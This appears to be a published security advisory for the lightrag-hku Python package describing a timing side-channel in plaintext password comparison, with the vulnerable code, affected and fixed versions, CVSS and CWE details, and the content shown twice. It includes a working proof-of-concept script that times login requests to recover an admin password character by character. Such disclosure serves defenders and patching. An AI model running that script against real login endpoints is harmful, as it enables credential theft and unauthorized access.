Advisoriesby Ibislightrag-hku: Plaintext Passwords Compared Without Constant-Time Function
Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
```python
lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
if stored_password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored_password == plain_password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual characters
`
PoC
```python
Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://<TARGET>:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
`
Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| lightrag-hku PyPI | < 1.5.5 | 1.5.5 |
Details and references
### Summary When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character. ### Details ```python # lightrag/api/passwords.py:13-26 def verify_password(plain_password: str, stored_password: str) -> bool: if stored_password.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK return stored_password == plain_password # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters ``` ### PoC ```python # Timing oracle: recover password char-by-char import httpx, time, string TARGET = "http://<TARGET>:9621/login" USER = "admin" def measure(pwd: str) -> float: t = time.perf_counter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perf_counter() - t known = "" for _ in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10))) known += best print(f"Recovered: {known}") ``` ### Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-208
- Also known as
- CVE-2026-85725, PYSEC-2026-4061
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